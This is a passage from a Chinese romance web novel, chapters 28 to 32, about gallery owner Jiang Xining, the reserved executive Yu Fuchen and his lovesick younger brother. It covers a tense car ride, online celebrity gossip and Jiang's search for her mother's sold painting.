于天文幼小的心灵再次受到了打击,那张漂亮的嘴巴一开一合,无情的话就和冷箭似的,专往人心口上扎。
“宁宁,你就不能给我一个机会?告诉我我哪里不好,我改成你喜欢的样子行吗?”
江熙宁摇头:“你适合更好的。”
但我是最好的。
于天文坚持:“即使是不喜欢一幅画,也总有一个不喜欢的理由吧?”
这个问题,关乎她专业,江熙宁停下仔细认真思考了两秒。她选画,好像都是靠她个人的审美直觉,不假思索、即刻把握。第一眼没有感觉的,即使看第二眼,她也很难被惊艳。
“不喜欢一幅画,我第一眼就会确定。”江熙宁说:“喜欢也是。”
不过她不确定,人是不是同理。但是为了让于天文死心的更彻底,她还是说:“人也一样。”
于付忱的目光不偏不倚的看过来。
江熙宁与他对视,默默摊手,看吧,她真的有在努力的拒绝了。
但不知道为何,她总感觉这人还是不高兴。
于天文失落:“我不信,难道你和以前的男朋友,都是一见钟情——”
话音未落,车子突然剧烈地打了一下方向盘,猛地靠边停下。
于付忱:“下车!”
江熙宁:“?”
对她的劝导结果不满意不必过河拆桥,兔死狗烹吧。
江熙宁从窗户里看出去,虬枝高耸的梧桐树、暗淡清黄的路灯,树与树之间是照不透的斑驳疏影。
她不喜欢记路,属于没有导航出不了门的人,从绿化和四周环境来看,貌似是停在临江路上。
于付忱握着方向盘,声音一如既往的沉静,但语气却严肃的让人下感觉犯下了什么天条:“怎么,需要我请你?”
哦,下就下呗。
江熙宁对着他的后脑勺瞪了一眼,随即抄起手包,准备伸手去开门,却看见副驾驶上的于天文先一步下了车。
于天文下车后,好像想起什么,转过头直勾勾的看着江熙宁:“宁宁,跟我一起走好吗?”
江熙宁的第一反应是,刚才“下车”不是和她说。
第二反应是,她干嘛跟于天文下车?
于付忱没了耐心,他猛地打开车门,下车,从车前绕到副驾驶旁,抓住于天文的卫衣帽子,一把拽住他,往远处走去。
江熙宁看到远处的两人对峙,虽然听不清他们说来什么,但气氛显然不会太友好。她低头看看已经耗尽电量的手机,心里一阵烦躁,想打车回去的念头也被彻底断了。
很累,也很困。
她靠回座椅,闭上眼。车内弥漫着好闻的独特的沉木香,在狭小的空间里包裹着她,撩人睡意。可是她从不习惯在床以外的地方睡着,尤其还是男人的车里。
车内,安静的过分。
车外,激烈的争吵。
于付忱将于天文带到离车几米远的梧桐树旁,他脸上依旧是没什么表情,但他的眼底凉的厉害,整个人气压非常低。
“没完了?”于付忱冷声:“纠缠人上瘾了?”
“哥!”于天文这会儿因为江熙宁的拒绝难受的要死,“你说话能不能不要这么难听,就不能对我温柔一点。我……”
“我都失恋了”几个字卡在喉咙里出不去,于天文生生将它咽下肚去。反正说出来他哥也不能理解,只会得到一顿好骂。
“事做的难看,还怕人说的难听?”
于天文情绪上头:“哥!你这么冷漠、无情、也不温柔,以后你喜欢的人也不喜欢你!”
于付忱气笑:“你开朗、多情、又温柔,你喜欢的人就喜欢你了?现在失恋的人是我?”
“不帮我就算了,还在宁宁面前让我食言,让我没有面子,我还是你亲弟弟,你还是我亲
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哥吗?”
于付忱看着清澈又愚蠢的弟弟:“面子?上一个这么爱面子的已经是她前男友了。”
“……”
“你觉得你被拒绝是因为我不让你买画,在江熙宁丢了面子?那你想过人为什么不卖画给你吗?想过为什么她会来医院吗?反思过为什么她会被丁呈骚扰吗?”
于天文沉默。
“没想过?”于付忱冷哼,声音中多了严厉,“还是没想?”
“……”
“说话、做事前,脖子上面那玩意儿用了吗?不用的话捐了吧。”
于天文瘪瘪嘴,“哥!”
“在那搬弄舆论是非的时候,还记得我是你哥吗?”
于天文再度静默。
他哥今晚的攻击力比以往高了不知多少倍,那英俊的薄唇一张堪比狙击枪,弹无虚发,发发致命。
于天文那头就没抬起来过。
“你成年了,没有人有义务永远托举你、依着你、该懂事了!”于付忱又说:“该学会控制你的情绪,不要让他左右你,上头的时候,做什么、说什么都容易是错的,明白吗?”
于天文似懂非懂的点头:“哥,喜欢一个人的情绪,也能控制吗?你能吗?”
“幼稚。”
于付忱有一种烂泥扶不上墙的无力感,他捏了捏眉心,“你的行为在不喜欢你的人眼里看来,说好听点叫缠,难听点叫舔狗。”
“……”
于天文被他哥的毒舌再一次创到。
吵也吵了,骂也骂了,
情绪发泄完,也就冷静下来。
静下来后,也突然明白了点。于天文幽幽开口:“哥,你有什么建议吗?”
于付忱拍了拍他的肩:“距离产生美。”
人在上头的时候,做出的决策难免冲动,于天文思虑后低声道:“知道了哥。”他垂着头,“我现在没勇气和宁宁面对面。麻烦哥把宁宁送回家吧。”
于付忱没再说什么,今晚说的话、耗费的唾沫抵得上他一个星期的,他口干舌燥的回到车里。
打开车门时,车内一片安静,只有空调的低鸣声和淡淡的香飘散在狭小的空间中。于付忱的目光扫过后座,江熙宁安静地靠在椅背上,瀑布般的长发垂下,长而密的睫毛轻轻颤动着。
她睡着了。
宽大的座椅并不能让她睡的安稳,她整个身子歪斜着,在梦中不知梦见什么了,短促的吸了口气,像平复心情又像轻哼,随后身子不稳,朝窗侧缓缓倒去。
于付忱绕到后座,伸手欲将江熙宁扶正,掌心触及她的肩膀时,柔顺的发丝不受控的滑落,攀住他整个胳膊,温软和诱人的甜香缠绕上他。
她像是终于找到一个舒服的支撑,整个人软软的靠在了他胳膊上。
“于付忱。”
“嗯?”
于付忱手下的动作一顿。
怀里的人得了一个舒适的姿势,嘴角漾起满意的弧度,她嘴里咕哝咕哝说着梦话。
于付忱没听清,他低下头,视线恰好落在莹润的唇。唇上泛着一层柔软的水光像新鲜的荔枝,只需轻轻一碰就能渗出甜美的汁液。
梦里的人继续喃喃道:“我不喜欢你缠——”
于付忱拇指动了动,堵住了那抹艳红。
28. 第 28 章
江熙宁这梦做的累极了。在梦里,她回到第一次打电话找于天文来画廊退画的那天。
有了打错电话的前车之鉴,这一次,江熙宁反复确认号码没错,的确是于天文的号码才拨过去。可是接通后,无论她怎么喊于天文的名字,对方一直沉默着不应答,这让她没来由的涌上一股烦意。
直到她一时急躁,脱口而出:“于富城”三个字。
终于,对方开口,声音低磁而温柔。
“嗯。”
轻微的呼吸声在安静的空气中回响,沉稳而有力。
一股好闻的沉木香愈来愈浓,江熙宁皱了皱眉,心中涌起一股大事不妙的预感。
好在,于天文很快来了画廊,只有他没有别人。
江熙宁不想浪费时间,面对于天文固执地要她说出不喜欢的理由,她冷声说:“你别再缠着我了。”
但是这话没说完,忽然被什么东西堵住了嘴。她猝不及防。舌头下意识地舔舐到抵在她唇上的东西,温热而坚硬。
唔,带着一丝丝咸味。
像早餐吃的海盐芝士棒。
江熙宁睁开眼时,车已经停在了她家门口。
是梦啊?
她揉了揉发酸的脖子,直起身。
这两兄弟是吵了有多久,久到她一个从不在床以外地方睡觉的人,第一次在车里睡着了。
车里没开灯,只有仪表盘泛着清冷的光,映着驾驶位上的人的轮廓。
“醒了?”于付忱忽然开口。
“到很久了吗?怎么没叫醒我。”说话时,江熙宁不自觉摸向嘴角。
刚才在梦见了海盐棒……
还好,没流口水。
她顺势又理了理头发,她睡相不算太规矩,不舒服的姿势一定要找到舒服的才罢休,幸好这次睡的笔笔直直的,每一根头发丝都乖顺的呆着。
江熙宁暗喜,睡的这么安分守己。
好懂礼貌的睡品。
于付忱看着车窗倒影中的人,用力擦了擦嘴,不动声色的收回视线。
“刚到。”
江熙宁这时才想起,睡着之前于天文也在。这会儿车上却不见他人。不知道是于付忱先把他送回去了,还是后来没再上车。
又或者两人吵的不可开交,于付忱直接将人丢大马路上了?
“你们……吵完了?”
“嗯。”
“他还是不愿意跟你回青城去?”
于付忱没应声。
看他这反应,十有八九是聊崩了哇,江熙宁无奈的扶了扶额。
“今天的红脸没唱好,不过我尽力了。”
梦里梦外都尽力了。
如果不是因为于付忱最近帮了她不少,且她本人知恩图报,早就把于天文拉黑、断联一条龙了,哪里用得上这么麻烦。也不会后面又闹出这些事来。
照现在的情形看来,短期内,除非原地亮出结婚证,否则于天文不会轻易放弃。倒不是因为于天文对她的喜欢已经到了山无棱、天地合的地步,而是她是于天文不想回青城的一个借口。
说不定,于付忱在退画事件上的退让和妥协,还让于天文找到了挑战他哥的乐趣。
当然,她更怵于付忱那个头脑一热想出来的馊主意,生怕他又提。
虽说于付忱也是拿于天文没办法才会说出那样的话,卖房、解约、经济制裁都用了,结果把他自己赔进去。
赔了夫人又折兵。
推己及人,如果是江印有一天爱上了一个注定会让他受伤,作为妹妹,别说假扮情侣,假扮姥姥她也会试一试。
这时的江熙宁想了很多,唯独没想到,不久的以后主动提出这个馊主意的人会是她自己。
“江熙宁。”
江熙宁游离的思绪瞬间被拉回,她抬头。
“很晚了。”于付忱说,“早点休息吧。”
江熙宁天生对细节有着异常敏锐的感知力,画布上的构图、笔触,光影的变化,她都能从中读出未曾言说的情绪。这种对细节的敏感,在面对人的情绪时也有着敏锐的洞察力。
于付忱这样喜怒不形于色的人,江熙宁虽说无法一眼通透,但还是能察觉几分。或者说,早在于天文和他吵架的时候她就感觉到了,
他不高兴。
确切的说,很不高兴。
“谢谢你送我回来,注意安全。”
江熙宁打开车门下了车,走出几步,发现于付忱依旧和上次一样没急于离开。
她纠结一瞬,还是走回去问:“等肖助理来接你吗?”
于付忱抬起头看她。
江熙宁大方道:“车位可以借你。”
于付忱看了她几秒,启动车:“不用了。”
江熙宁哦了一声。
好心当驴肝肺。
-
网络上关于华盈集团和画廊的所有流言和讨论,几乎一夜之间消声匿迹,江熙宁和于付忱两人的绯闻也被压了下去,之前的几篇帖子集体消失,仿佛不曾存在过。
取而代之的,是今日最劲爆新闻。
#许终南夜会圈外男友
江熙宁点进词条。
独领风骚的top1,后面是一个红到发紫的爆字。
热搜的缘起,是一个娱记大v的爆料。许终南被拍到和一个气质卓绝的男人在停车场并肩而行,还是九宫格live图。有两人在车内交谈的;有两人在停车场错肩而行的;还有一张两人等电梯时的牵手照。
备受关注的许终南的“圈外男友”只拍到了背影和侧脸,这些照片大概是狗仔藏在车里偷拍的,隔着不怎么干净的车窗玻璃清晰度感人。
不过江熙宁一眼认出,是于付忱,这停车场,正是Free酒吧的地下车库。
新的八卦出炉,就立刻有网友发出了许终南大学时的同款黑料,附上了一张充满年代感和低像素糊照片。照片是是青大操场,两个俊逸至极的少年,往那一站便是风景。
江熙宁还是一眼认出是于付忱,而且是当初被人传到校内论坛上评选校草的那张。只不过论坛的那张裁掉了站在他边上的许终南,所以更模糊些。
难怪,当初于付忱让人撤掉了那张照片,敢情这张照片的原貌是这样的。于付忱打着电话,不知看在看什么,一旁的许终南双手插兜在旁边饶有兴味的瞥他一眼,嘴
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角挂着不明意味的笑。
照片拍的并不出彩,像素低也没什么摄影技巧,硬是靠两人的颜值撑着,还颇有一种“你在看风景,而我在看你”的氛围感。
底下的cp粉:
【一眼万年,谁还在旧糖新磕!】
【相识六年,归来仍是初恋?】
【大学的时候不就爆过的料了,怎么还有人不信。】
【过年咯!】
也有许终南的女友粉维护:
【造谣一张嘴,看图编故事瞧把你能的呀,这么好的一张嘴长在脸上,可惜没长眼。】
【对家要点脸,嫉妒哥哥流量想抹黑,侮辱性取向什么的过份了吧!】
【互联网不是法外之地,工作室抓紧告吧,每次哥哥要接个名导的电影,总是被对家黑。】
路人:
【莫名般配。】
【这‘圈外男友’,谁啊?】
【我靠,全球限量车,这还没扒出来正主是谁?这届的网友不行啊。】
【楼上,最全吃瓜链接:】
乔西娅:“我的gay达钝了?那天没响啊。”
江熙宁挑眉:“不好用就丢了吧~”
乔西娅假模假样的从胸口掏出一捧空气,往远处一丢。她凑近八卦道:“你在大学的时候没听过这两人一点内幕?”
江熙宁说:“没有。”
其实也不是完全没有。
于付忱对许终南不一般这一点,李晋许、戴阳他们在聚餐上提过,只不过那时候,江熙宁左耳进去右耳就又出去了。
学校里开始盛传于付忱和许终南两人是基佬,是在她和李晋许分手后不久。虽比不上现在全网吃瓜的热度,但也是全校皆知,江熙宁想不听到也挺难的。
传播的论据很简单粗暴:关系非同一般、都不住校却几乎同进同出、翘掉的课高度一致。更有一种说法是,两人不住校是为了校外同居。
乔西娅叹:“你这得天独厚、近水楼台、却暴殄天物的。”
没有考据、捕风捉影的事江熙宁并没太关注:“耳听为虚,眼见为实,你昨天不是才和两人一起喝过酒。”
乔西娅说:“你还别说,那天我注意到许终南好几次,时不时看你和于付忱,他那眼神简直像审视你俩有没有一腿。”
江熙宁光顾着喝酒了,完全没注意。
“那也不能说明人于付忱,有什么吧。”
乔西娅说:“于付忱这么一绝色,为什么不谈女朋友?你说他眼光高吧,可是大学他也没看上你。所以不是功能有问题就是爱好男啊!”
她点开两人牵手照:“现在看来,后者可能性更大。你看这动图,总不能作假。”
江熙宁分析:“也可能是错位图,这张照片看起来是两人并行,但其实是有远近关系的,走路时两人的手臂重叠在一起也不是没有可能。”
乔西娅听完江熙宁的解释笑:“我懂了。”
江熙宁朝她看去:“懂了?”
乔西娅:“你是女友粉。”
29. 第 29 章
诚如许终南所说,转移一段舆情最好用的办法是另一个更吸睛的热点。当下全网都在热讨新瓜,无人再关注画廊的流言。
除此之外,江熙宁还发现,带有“于付忱”、“华盈”字眼的帖子几乎都被压了热度。她随手点进网友发的标题为“惊了,圈外男友竟然是他!”的链接,加载两秒后跳转到了某购物网站。
……
-
下午那会儿姜明初打电话来,问江熙宁回不回碧湖湾吃饭。
江熙宁担心自己的手伤被姜爸看到,回复姜明初自己太忙了,等空了再去。
她确实也很忙。
虽然于付忱新签约的三方协议修改了交付日期,给画廊展览的时间还算充裕,但交付之前,下一期展要筹备的事情依旧多而琐碎:布展策划、物料设计、印刷展品目录、预热宣传……
当然还有更重要的。
这两年,江熙宁一直在四处打听《春有信》被哪位藏家收入囊中,当年那场私人举办的小型拍卖会,并没对外开放,也没有进行报备登记,查起来无异于大海捞针。
不过,再低调、隐秘的拍卖会,也必然需要具有注册资质的拍卖师在场。国内注册的拍卖师有一万多名,活跃的有四百多位,相比之下找起来要省力的多。
江熙宁罗列的名单上,如今已经只剩下最后三位。
她拿水笔划掉其中的两位,在武怡的名字上打了个勾。
江熙宁这一忙,忙的忘了时间。等她再回过神,月亮高挂树梢,天色已经黑透,肚子也早就饿得打鼓。
她揉了揉脖子,从位子里起身,想着干脆找同事一起聚餐,往四周一看,其他人都不在。
乔西娅约了几个媒体的朋友一起吃饭,展前的报道有一些细节需要核对;
航航登记完展品的入库,三点那会儿跑去印刷店盯画册。
酒酒是在校实习生,学校偏远,江熙宁不放心她一个女孩子太晚回去,让她忙完手里的活先回去了。
这饭注定是凑不到人。
江熙宁打算点个外卖,打开手机发现不知道怎么打开了勿扰模式。姜明初在一个小时前发了消息给她。
姜明初:【宁宁,吃饭了吗?】
江熙宁敲着键:【吃了】。
消息刚发出去没多久,办公室的门被人敲响。她抬头,姜明初站在门口。
“明初哥!”
姜明初穿着驼色风衣,内搭一件简洁的白色T恤,修长的身形与温雅的面容相得益彰。他脸上挂着温和的笑:“怎么这么晚还没回家?”
“这不是我掐指一算,今日有人来给我送好吃的。”江熙宁一边说着,一边迅速撤回发出去的消息。
还好没超过两分钟。
姜明初其实看见她回的消息了,但没点破,又不忍心责备她。只是从保温的食盒里拿出细致打包的饭菜。
“再忙也要吃饭。”他温声道:“饿了吧?”
江熙宁点头,看着逐一拿出的餐盒眼睛亮了起来:俄罗斯帝王蟹、茉莉百合虾仁、香椿炒蛋、火腿腌笃鲜……全是她爱吃的!
“好饭不怕晚~”
“我去了芳满庭你没在家。我应该先来画廊的。”姜明初递过筷子给她,“幸好还热着,趁热吃。”
江熙宁捏着筷子,往嘴里塞进一颗莹白的虾仁:“我手机开了勿扰模式,没看到消息。”
Q弹的虾肉在齿间弹跳,茉莉百合的清香和虾仁的鲜美交织在一起,瞬间填满整个味蕾。
姜明初看了看江熙宁,似是不经意的问起:“因为热搜的事?”
江熙宁的动作一顿:“明初哥,你看到新闻啦?”
姜明初没否认。
“爸爸看到了没?”
“没有。”
江熙宁松一口气:“那就好,那就好。”
姜明初:“我看到就没事了?”
江熙宁摇头道:“我感觉爸爸最近对我的感情有点过于关注。万一被他知道了,说不准这事儿比网上那些传言还难翻篇。”
半年前,荣氏地产老总的独子对她表现出兴趣,姜海澎借着合作的由头考察了半天,觉得小伙子人不错,直接约人上门吃饭,意图撮合。
想起这她还头疼呢。
以姜海澎对荣氏公子的满意程度作为评判标准,华盈集团的掌权人,显然只会更满意。
姜明初在网上也看了那场采访,年轻的掌权人面对媒体时神色冷静不惧,矜持而沉稳,像一柄折扇,锋芒隐匿在其中,轻易不显露。
“他为了追你来的宁城?”
“?”
江熙宁反应两秒,想起先前姜明初问过她,买画的人是不是在追她,她当时的回答
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是。
……
江熙宁摇了摇头,“他是来追债的。买画的是他弟弟,你见过,我们上次在12栋前遇到的于天文。他花他哥的钱拍下了我画廊里所有的画。”
姜明初恍然。
自从上次两人在小区里和于天文遇到后,他很快便收到了肖易的消息,说房子不打算出售。前后沟通了几轮,对方的态度非常坚决。
原本姜明初来也是想告诉江熙宁这件事。
江熙宁听到房子又不卖了,倒是不意外,她往嘴里塞进一颗莹白的虾仁,“哥,你知道的,我本来也不赞同爸爸买那房子。”
姜明初在旁边专注的看着她:“怕爸管你?”
“当然不是!”江熙宁摸了摸逐渐鼓起的肚子:“我是拍许姨的手艺太好,保不住我的身材。”
姜明初笑:“我还是喜欢你小时候,肉肉的好看。”
江熙宁刚到姜家的时候,还带着点儿婴儿肥。白白嫩嫩的像个糯米团子,尤其是笑起来,脸颊会鼓起,软乎乎的,带着一股让人心生怜爱的天真。
后来因为不太习惯宁城的生活,失眠加上有些吃不惯这边的菜,她圆润的脸庞逐渐清瘦下来。
许姨便是那个时候,在姜海澎淘汰了九个阿姨后,唯一被留下的。
“果然是有了嫂子,忘了妹妹。”
姜明初拍了拍她的后脑勺,“什么嫂子,胡说什么。”
江熙宁只当他是害羞不承认,打趣:“对我还瞒着啊,不仗义啊姜明初。追我的人你可是门儿清,连我拉黑几个你都知道。”
姜明初笑:“你不会也要拉黑我吧?”
“我至于?”江熙宁轻哼,“你不想说就算了,怎么还倒打一耙。”
“真想知道?”
江熙宁以退为进:“也没有很想。”
姜明初笑意更深,眼底的目光却认真了几分:“你——”
这时,姜明初的手机忽然震了震。
是姜海澎发来的消息,询问餐有没有送到,并叮嘱他送到后早点回去。
姜明初垂下眼,眼神微微一暗。
沉默片刻后,他合上手机。
再抬头时,江熙宁的目光与他对上,她笑眯眯的挑了挑眉,似乎等着他继续说下去。
姜明初唇角弯了弯。
“你会知道的。”
30. 第 30 章【二合一】
江熙宁的名单上只剩下武怡的时候,用什么理由将人约出来,并且让她愿意帮忙成了问题。两人虽说是一个行业,之前却没有过多交集。武怡如今作为顶级的拍卖师,大部分时间都在国外,只有春拍和秋拍的时候回国。
江熙宁还打听到武怡最近,恰好就在国内。
“是的,画作麻烦江画廊主分批交付。”电话里,肖易礼貌而客气:“范老的作品辛苦单独邮寄,地址我稍后发您。”
挂了电话,江熙宁叮嘱酒酒,打包画作的时候在气泡膜里加一层格拉辛纸以防水汽渗入。正值谷雨时节,宁城雨多湿气重。
油画怕潮。
“宁宁姐……”
江熙宁侧头,对上一双尴尬又无措的眼。酒酒才来画廊不久,一直是航航负责带她,平日里主要做些画库藏品的入库出库登记这一类基础工作。
不巧,航航这几日发高烧请病假了。
江熙宁:“之前打包过吗?”
酒酒红着脸摇头。
江熙宁:“我教你。”
她顺手拿过前两天入库的母亲的画,给酒酒作起示范。
酒酒眼会心不会,江熙宁教了四五遍才算把人教会。于是,范老的画作,被她就这么打包完了。
这时,她收到肖易发来的两个地址。一个是青城的,一个是宁城的。
范老的画是寄到青城。
于付忱日后肯定会回去,那些青年艺术家的作品,想来没能入他的眼,没资格跟着他。
江熙宁点进群里,对着于付忱的头像,轻嗤一声:“哼,没眼力。”
正将范老的画作择出来,单独放在不远处架子的酒酒,看见江熙宁气鼓鼓的,以为自己哪里没做对:“宁宁姐……”
江熙宁看她。
酒酒略有不安的问:“范老的画,放这么远行吗?”
江熙宁的目光落在范老的画上。
她陷入沉思。
片刻后。
“行啊!!!”
她想到约武怡的办法了!
-
宁城这雨一连下了几天。
铅灰色的天被绵密如毡毯的积云包裹着,绵绵春雨如黏腻的蛛线,网罗住高架上沿线的私家车。
原本二十分钟的路程,江熙宁却开了整整一个小时。今天,她约了武怡。为了找到当年主槌的拍卖师,她费了不少心思。最初,她根本没有考虑过武怡。
小型私人拍卖会,要么是藏品价值不高,要么是面向特定少数人群。前者够不着武怡这样一级拍卖师,后者则因为不希望吸引外界过多关注,也不会选武怡这样声名显赫的。
然而随着选项一个个被排除,名单越来越短,最后剩下的人屈指可数时,武怡却成了唯一的可能。
就像柯南·道尔说的那样:“排除一切不可能,剩下的,即使再不可能,也是真相。”
这几日,江熙宁通过武怡的个人社交账号将她的喜好摸了个七七八八。譬如,武怡不像那些常年混迹国外的华人习惯了喝咖啡,她更喜欢喝茶。而且尤爱明前茶。
她将碰面的地点约在了香语山房。香语山房的明前茶,闻名遐迩。
等江熙宁赶到地方,武怡已经等着了。她穿着低饱和度的米黄裙裤套装,端坐在茶烟袅袅、禅意十足的包厢里品茶。
江熙宁走过去落座:“不好意思,让您先等了。”
“是我提早来了。”武怡轻笑,棕褐色的眼睛在江熙宁踏入包厢的瞬间,悄无声息地扫过她一遍,“江画廊主真是有心了。”
江熙宁:“我想和您合作,自然是带了十分的诚心。”
想要武怡帮忙,必须先利她。电话里,江熙宁提到画廊要举办拍卖会,想找武怡来担任拍卖师。
具体合作的细节说三分留七分,目的是将人约出来。
武怡挑了挑眉,声音平静但带有一丝锐利:“可是据我所知,范老的那批画已经被华盈集团拍走。江画廊主恐怕不能拍卖了吧?”
武怡显然已经看到新闻了。于付忱这么大的手笔,在行业里传的沸沸扬扬,想不知道也很难。
“是这样的,我和于总是校友。他买了我手里所有的画,肯定不是为了放在家里欣赏。除了照顾我这个朋友的生意,他也是相信我能把他手里的藏品推到更高的价值。”江熙宁拿出早就准备好的应对回答。只要武怡这边谈妥了,于付忱那边,江熙宁打算再想办法去搞定他。
武怡啜茶:“喔,是吗。”
江熙宁听不出这话是问句还是陈述句,她笃定道:“当然!”
武怡笑了笑:“可是江画廊主今日找我,恐怕不只是找我谈合作吧。”
江熙宁心头一凛,她怎么知道?自己刚才说话哪里露馅了?
或者,武怡来之前已经调查过她,知道梁媛是她的母亲?
但很快江熙宁便将这些疑虑抛在脑后。坐在她面前的是阅历
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、经历比她长了快一轮的人,更是创下一个小时内将藏品从五百万引导到竞价15倍的人。除了过人的专业能力,洞察力也非常人能及。
江熙宁坦诚:“除了公事之外,确实也有私事。”
她顿了顿,接着说道:“两年前您在参加完嘉世春拍之后,又被邀请主槌一场小型的私人拍卖。《春有信》是我妈妈的画,那幅画被我舅舅在我不知情的情况下拿走,并私自出售。我一直在打听那副藏品的下落。”
武怡安静地听着,脸上并没有意外的表情。等江熙宁说完,她轻描淡写地说:“你知道行业的规矩。”
武怡没明说,但江熙宁知道她这是不会透露更多细节的意思。
“说起来,《春有信》是一件遗产纠纷的作品。能有纠纷的作品混入这点来看,当年那一场拍卖会在藏品监管上显然存在着不合规或者不严谨的地方。”江熙宁说:“借助法律手段,未必不能追查到买家的信息。”
江熙宁没继续说下去。
武怡:“你没这么做,说明并不容易。”
江熙宁知道,武怡是在试探她。
这种私人的小型拍卖,隐蔽、灵活,有的甚至都不报备,因此常常作为藏污纳垢的灰色空间存在。一旦被调查,传出有纠纷的藏品,很容易迎来一些揣测。
而且根据拍卖法,拍卖师有责任确保拍品的合法来源,像武怡这样资深的拍卖师,不可能忽视这一点。
江熙宁在翻阅武怡社交平台时还发现,她的每一场拍卖都有发动态,唯独这一场没有。要说她不知其中利害和猫腻,根本没有说服力。
江熙宁要赌的,就是武怡不想被人知道,而她可以顺水推舟送她人情。
“遗产纠纷这类官司向来最为棘手,清官难断家务事嘛。”江熙宁说:“我外婆年事高啦,身体也不好,这种家里人对簿公堂的事,老人家知道了总是闹心的。”
武怡笑了笑,眼中带着几分难以捉摸的深意:“这么说来,江画廊主是想送我这个人情了。”
外面又开始下起了细如青烟的小雨,雨点轻轻拍打在庭院里的桂花树上,抖落一树香。
武怡走后,江熙宁又坐了一会儿。
木桌上,武怡离开前用茶水写下的藏家名字,后两个字已经干透大半,留下斑驳的水渍。
只剩最湿润的第一个字还未完全褪去痕迹。
简简单单的三笔。
一个“于”字。
31. 第 31 章
事情的进展比江熙宁想象中的顺利,可是她心底却有些不安。
既是因为武怡知道她的目的,并且轻易的就把这个人情卖给了她。
也是因为,木桌上那个名字。
一切都太顺利了。
太巧了。
于天文事件后,她的脑袋里自动安了个雷达,看到和于付忱同一个姓就立刻提示她警惕,产生“不会又有点儿什么关系吧”这种想法。
到了家,江熙宁坐在电脑前,打开搜索引擎,输入了“于茂林”三个字。
电脑任务栏里,开满了浏览的网页。
于茂林的公开信息:
华盈的股东之一。
网传的人物关系:于向华的义子。
于付忱的小叔叔
……
江熙宁喜忧参半。
喜的是,想接近于茂林有中间人了。
忧的是,上次于付忱送她回家后,两人便再也没有联系过。画作如今也已经交付,找他该用什么理由呢?
江熙宁打开三人群。
江印经常在群里发一些信息链接和回国倒计时打卡之类的消息,她间歇性回复,于付忱则从未发过言。
这个群从建立开始,他几乎没说过话。
很有可能,群早被他屏蔽了。
她点开那个黑不溜秋的头像。防止手误,她这次是群右上角信息页进去的。
于付忱的朋友圈,只有一条华丽丽的灰色分割线。
两人还不是好友。
江熙宁不喜欢等通过的感觉,发送验证后,她进了浴室先去洗澡。
等她洗完澡,出来查看手机时,锁屏上有两条微信通知。
江熙宁头发还没吹,发尖湿漉漉的向下滴着水,有几滴落到手机上,屏幕切换到解锁页面。
她抽出纸巾擦干,划开锁屏。
不是于付忱,而是乔西娅发来的消息。
乔西娅:(图片1)
乔西娅:(图片2)
江熙宁点开。
酒吧吧台边,两个个高腿长、英俊逼人的男人坐在一起喝酒。模样有七八分相似,看起来像是有血缘关系的亲兄弟。
只是一个气质偏冷,一个亲和阳光。
乔西娅:预备役,选一个。
江熙宁:2号
乔西娅:这个是弟弟,诶?你不是不喜欢男人太奶么。
江熙宁:……
摆事实,讲道理,无论是第一眼还是第二眼,确实是哥哥线条更好看。
江熙宁辩解:我又不是给我自己选。
乔西娅:……
江熙宁:而且他看起来不会拒绝人。
乔西娅:你这么说,我可更想去试试1号了。
乔西娅对付男人的经验多,得益于她不错的口才和无数次的实践。实践出真知。
江熙宁盯着乔西娅的回答两秒,敲字问:万一他拒绝你呢?
乔西娅大概去实践了,半天没了动静。
江熙
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宁坐到梳妆台前,开始涂抹护肤水。涂抹间,眼角的余光扫过角落里的蛋糕摆件。
它孤零零地伫立在那,金贵的色泽看起来倒有几分高冷气。
和送它的人一样一样的。
现在是十点。
从发送申请到这会儿已经一个小时过去了。
江熙宁隔空用手指戳了戳:“不会是因为上次我拒绝了你——”
桌上的手机突然响了一下。
乔西娅:被你看准了,加好友被拒!【发怒】【发怒】【发怒】
乔西娅因为加对方联系方式被拒绝,喝酒的兴致扫了一半。干脆和江熙宁聊起了天,排解郁闷。
两人聊到一个酒醒,一个困意来袭。
江熙宁撑着眼皮看了眼时间。
十一点。
就算是总统,这会儿也该忙完了,即使没有忙完,看会儿手机的功夫总是有的。
于付忱还是没有通过申请。江熙宁可以确定这人就是不想加。
乔西娅:算了,努力搞钱。
江熙宁:觉悟【大拇指】【大拇指【大拇指】。
江熙宁:+1
乔西娅:包养他!
江熙宁:……
虽说是酒后玩笑话,没谱。有一点倒是点醒了江熙宁,就是于付忱想要什么。
权力他有了。
美色他不感兴趣。
剩下的……只有钱啦。
想到这里,江熙宁突然慧至心灵,心生一计。
32. 第 32 章
江熙宁点进微信设置,将自己的群昵称改成了“发财”。
今日限定。
若是于付忱还是不同意,那她再另想办法,活人总不能被尿憋死。
明天的事明天再说。
江熙宁翻了个身,把手机丢到一旁,彻底睡了过去。
-
这边,于付忱从饭局上抽身,外面还在下雨。
宁城这雨,断断续续下了快一个月。
南方的雨水比北方丰沛,这是小学生都知道的常识,但如果不是长期居住在这,对这个“多”的理解还是不够直观,非常片面。于付忱才走出大堂,潮湿的空气立马黏上裸露在外的肌肤,仿佛敷上一层水膜。
肖易一直等在楼下,见于付忱出来,立刻撑着黑伞过来将他接上车。
刚坐下,于付忱的手机便响了起来。他向来不喜欢这种聊合作,非要推杯换拽、酒过三巡才进入正题的饭局,事情一聊完便直接走人。
李秘书发现人不在,立刻打了电话来。
电话响了几十秒后,自动挂断。
过了几分钟再次响起。
于付忱被吵的烦了,直接关机。他侧身看向窗外。外面的雨淅淅沥沥,像被剪碎的断线,砸到路面上碎成一滩积水。疾驰而过的车辆,像是在水中行进的船。商铺五颜六色的灯,透过一层雨雾的玻璃,模糊的像一副印象派的油画。
一个春天如此湿润的城市。
湿润到万年干皮的肖易脸上起了湿疹。
于付忱从后视镜上看了眼那密密麻麻的红色点点:“肖易。”
“老板。”
“给你两天假,去医院看看。”
肖易摸了摸脸上的全面爆发的疹子:“不用老板,我没事。”
这段时间,老板除了睡觉,其他时间都被工作塞得满满当当,颇有一种赶紧把事情处理完回青城的架势。
老板忙,作为懂事的助理哪能闲着。
肖易又说:“宁城这两天潮,再有两天适应和习惯就好了。”
宁城的潮湿简直无孔不入。
烘干的衣服,放一晚上第二天穿像是半干的。
酒店的床单,除湿机开着依旧一股未散的湿气。
大理石墙壁上,冒汗的小水珠连成片。
他不禁想起那句“橘生淮南则为橘,生于淮北则为枳”,地域差异,气候差异,真是可以改变生物性状。连他这个万年大干皮快泡发的水润油华。
于付忱靠在椅子上,没说话。
肖易自毕业就跟着于付忱,知道他不说话通常有两层含义。
一、不与傻臂论短长。
二、不允许反驳。
现在的情形是后者。于付忱向来行动先行,做比说的多,对人好也是。就像今日的饭局,老板不喝酒,助理免不了要挡。
但于付忱没叫他。
